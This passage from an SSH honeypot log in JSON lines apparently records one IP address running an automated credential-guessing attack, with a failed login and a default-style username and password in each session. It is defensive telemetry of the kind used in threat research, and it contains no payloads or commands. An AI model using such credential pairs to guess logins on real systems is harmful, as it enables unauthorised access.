ert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:11.965832Z","src_ip":"192.109.200.237","session":"990cdd957cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:12.211803Z","src_ip":"192.109.200.237","session":"990cdd957cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:13.297093Z","src_ip":"192.109.200.237","session":"990cdd957cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce937e348f70","protocol":"ssh","message":"New connection: 192.109.200.237:50590 (159.203.135.109:22) [session: ce937e348f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:15.199697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:15.209232Z","src_ip":"192.109.200.237","session":"ce937e348f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:15.292228Z","src_ip":"192.109.200.237","session":"ce937e348f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:15.538787Z","src_ip":"192.109.200.237","session":"ce937e348f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:16.624003Z","src_ip":"192.109.200.237","session":"ce937e348f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50604,"dst_ip":"159.203.135.109","dst_port":22,"session":"1978a1b7adf9","protocol":"ssh","message":"New connection: 192.109.200.237:50604 (159.203.135.109:22) [session: 1978a1b7adf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:18.428432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:18.433091Z","src_ip":"192.109.200.237","session":"1978a1b7adf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:18.515297Z","src_ip":"192.109.200.237","session":"1978a1b7adf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:18.760702Z","src_ip":"192.109.200.237","session":"1978a1b7adf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:19.845859Z","src_ip":"192.109.200.237","session":"1978a1b7adf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51846,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76c8f1944fc","protocol":"ssh","message":"New connection: 192.109.200.237:51846 (159.203.135.109:22) [session: a76c8f1944fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:21.653847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:21.658883Z","src_ip":"192.109.200.237","session":"a76c8f1944fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:21.741313Z","src_ip":"192.109.200.237","session":"a76c8f1944fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:22.185915Z","src_ip":"192.109.200.237","session":"a76c8f1944fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:23.271182Z","src_ip":"192.109.200.237","session":"a76c8f1944fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51852,"dst_ip":"159.203.135.109","dst_port":22,"session":"74dd74523d3a","protocol":"ssh","message":"New connection: 192.109.200.237:51852 (159.203.135.109:22) [session: 74dd74523d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:25.139314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:25.144347Z","src_ip":"192.109.200.237","session":"74dd74523d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:25.226291Z","src_ip":"192.109.200.237","session":"74dd74523d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:25.471869Z","src_ip":"192.109.200.237","session":"74dd74523d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:26.556422Z","src_ip":"192.109.200.237","session":"74dd74523d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51866,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae6fcac6ad3","protocol":"ssh","message":"New connection: 192.109.200.237:51866 (159.203.135.109:22) [session: 7ae6fcac6ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:28.432845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:28.437129Z","src_ip":"192.109.200.237","session":"7ae6fcac6ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:28.518825Z","src_ip":"192.109.200.237","session":"7ae6fcac6ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:28.764895Z","src_ip":"192.109.200.237","session":"7ae6fcac6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:29.925547Z","src_ip":"192.109.200.237","session":"7ae6fcac6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40644,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8729669084","protocol":"ssh","message":"New connection: 192.109.200.237:40644 (159.203.135.109:22) [session: ea8729669084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:31.588759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:31.593857Z","src_ip":"192.109.200.237","session":"ea8729669084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:31.676483Z","src_ip":"192.109.200.237","session":"ea8729669084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:31.923496Z","src_ip":"192.109.200.237","session":"ea8729669084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:33.012647Z","src_ip":"192.109.200.237","session":"ea8729669084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40664,"dst_ip":"159.203.135.109","dst_port":22,"session":"e095ed2fff73","protocol":"ssh","message":"New connection: 192.109.200.237:40664 (159.203.135.109:22) [session: e095ed2fff73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:34.741525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:34.747189Z","src_ip":"192.109.200.237","session":"e095ed2fff73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:34.829772Z","src_ip":"192.109.200.237","session":"e095ed2fff73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:35.217475Z","src_ip":"192.109.200.237","session":"e095ed2fff73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:36.303485Z","src_ip":"192.109.200.237","session":"e095ed2fff73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40672,"dst_ip":"159.203.135.109","dst_port":22,"session":"55336b16410a","protocol":"ssh","message":"New connection: 192.109.200.237:40672 (159.203.135.109:22) [session: 55336b16410a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:38.085467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:38.090264Z","src_ip":"192.109.200.237","session":"55336b16410a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:38.172386Z","src_ip":"192.109.200.237","session":"55336b16410a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:38.418767Z","src_ip":"192.109.200.237","session":"55336b16410a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:39.505304Z","src_ip":"192.109.200.237","session":"55336b16410a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6d4de54e521","protocol":"ssh","message":"New connection: 192.109.200.237:33424 (159.203.135.109:22) [session: d6d4de54e521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:41.302804Z"}
